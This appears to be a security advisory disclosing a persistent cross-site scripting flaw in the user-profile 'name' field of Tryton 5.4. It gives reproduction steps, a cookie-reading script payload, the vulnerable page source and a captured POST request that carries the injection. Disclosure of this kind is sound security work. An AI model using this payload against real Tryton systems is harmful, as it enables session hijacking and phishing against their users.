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Tryton 5.4 - Persistent Cross-Site Scripting Vulnerability

Author
bot
Risk
[
Security Risk High
]
0day-ID
0day-ID-34425
Category
web applications
Date add
13-05-2020
Platform
php
# Exploit Title: Tryton 5.4 - Persistent Cross-Site Scripting
# Vendor Homepage: https://www.tryton.org/
# Version: 5.4
# Software Link: https://www.tryton.org/download


Document Title:
===============
Tryton v5.4 - (Name) Persistent Cross Site Vulnerability


Product & Service Introduction:
===============================
https://www.tryton.org/  &  https://www.tryton.org/download


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Tryton v5.4 web-application series.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent vulnerability is located in the `name` parameter of the
`User Profile` module. Remote attackers with low
privileges are able to inject own malicious persistent script code as
name for user accounts. The injected code can be
used to attack the frontend or backend of the web-application. The
request method to inject is POST and the attack vector
is located on the application-side. Injection point is the profile input
field with the name value and the execute occurs
in the front ui on top right were the avatar is listed or in the admin
backend on the res.user;name="Users"&views.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of
affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] User Profile

Vulnerable Input(s):
[+] Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] /index
[+] /model/res.user;name="Users"&views (backend)


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the application and login to your low privileged user account
2. Move to the profile on top right side (click)
3. Inject test payload to the "Name" input field and save the entry
4. Execution occurs after save on top right and
/model/res.user;name="Users"&views of the admin backend
5. Successful reproduce of the persistent cross site vulnerability!


PoC: Payload
%20>"><img%20src="evil.source%20onload=alert(document.cookie)>


PoC: Vulnerable Source (Execution Point)
<div class="input-group input-group-sm"><span
class="input-group-btn"><button type="button" class="btn
btn-default">Filters</button></span>
<input class="form-control mousetrap" placeholder="Search"
autocomplete="off" list="ui-id-3"><datalist id="ui-id-3"></datalist>
<span class="input-group-btn"><button type="button" class="btn
btn-default hidden-md hidden-lg" aria-label="Clear Search"
title="Clear Search" style="display: none;"><img class="icon"
src="blob:https://tryton.localhost:8080/4672612e-3ec6-4bd1-aa4d-bd379bd89c04"></button>
<button type="submit" class="btn btn-default" aria-label="Search"
title="Search"><img class="icon"
src="blob:https://demo5.4.tryton.org/ab0d098c-1302-4ffa-8f27-3204fb244082"></button><button
class="btn btn-default hidden-xs"
type="button" title="Bookmark this filter" aria-label="Bookmark this
filter"><img class="icon" aria-hidden="true"
src="blob:https://demo5.4.tryton.org/d97b8af2-ca4b-48e2-a40e-a772955d7ea8"></button><button
type="button" class="btn btn-default
dropdown-toggle" data-toggle="dropdown" aria-expanded="false"
aria-label="Bookmarks" title="Bookmarks" id="bookmarks" disabled="">
<img aria-hidden="true" class="icon"
src="blob:https://demo5.4.tryton.org/c9b2efdd-1ec8-4785-b7a0-d3b8dcb6d7e9"></button>
<ul class="dropdown-menu dropdown-menu-right" role="menu"
aria-labelledby="bookmarks"></ul><button type="button"
class="btn btn-default hidden-xs" aria-expanded="false" aria-label="Show
inactive records" title="Show inactive records">
<img aria-hidden="true" class="icon"
src="blob:https://demo5.4.tryton.org/6ad6ad9c-4d17-4592-9e3c-6f698b6f9a27"></button></span></div>


--- PoC Session Logs [POST] ---
https://tryton.localhost:8080/tryton/
Host: tryton.localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Authorization: Session
ZGVtbzoyOjMyYmIyOWE3ODYxMzA3NGVkZThlMDBhNmEyMWVkNzFhZTAxOGQwMzA1YTJhMGU1NTNjOWU2YTNhZWM5MzA1MzM=
X-Requested-With: XMLHttpRequest
Content-Length: 527
Origin: https://tryton.localhost:8080
Connection: keep-alive
Referer: https://tryton.localhost:8080/
{"id":195,"method":"model.res.user.set_preferences","params":[{"name":"%20>"><img%20src="evil.source%20onload=alert(document.cookie)>">",
"signature":"test
signature"},{"client":"1aab6de2-1f59-43de-b0d0-a8319558e4e8","warehouse":null,"employee":null,"company":1,
"company.rec_name":"Michael Scott Paper
Company","language":"en","language_direction":"ltr","groups":[5,15,16,13,19,20,17,9,10],
"locale":{"date":"%m/%d/%Y","grouping":[3,3,0],"decimal_point":".","thousands_sep":","},"company_work_time":
{"h":3600,"m":60,"s":1,"Y":6912000,"M":576000,"w":144000,"d":28800}}]}
-
POST: HTTP/2.0 200 OK
server: nginx/1.16.1
content-type: application/json
access-control-allow-origin: https://tryton.localhost:8080
vary: Origin
content-encoding: gzip


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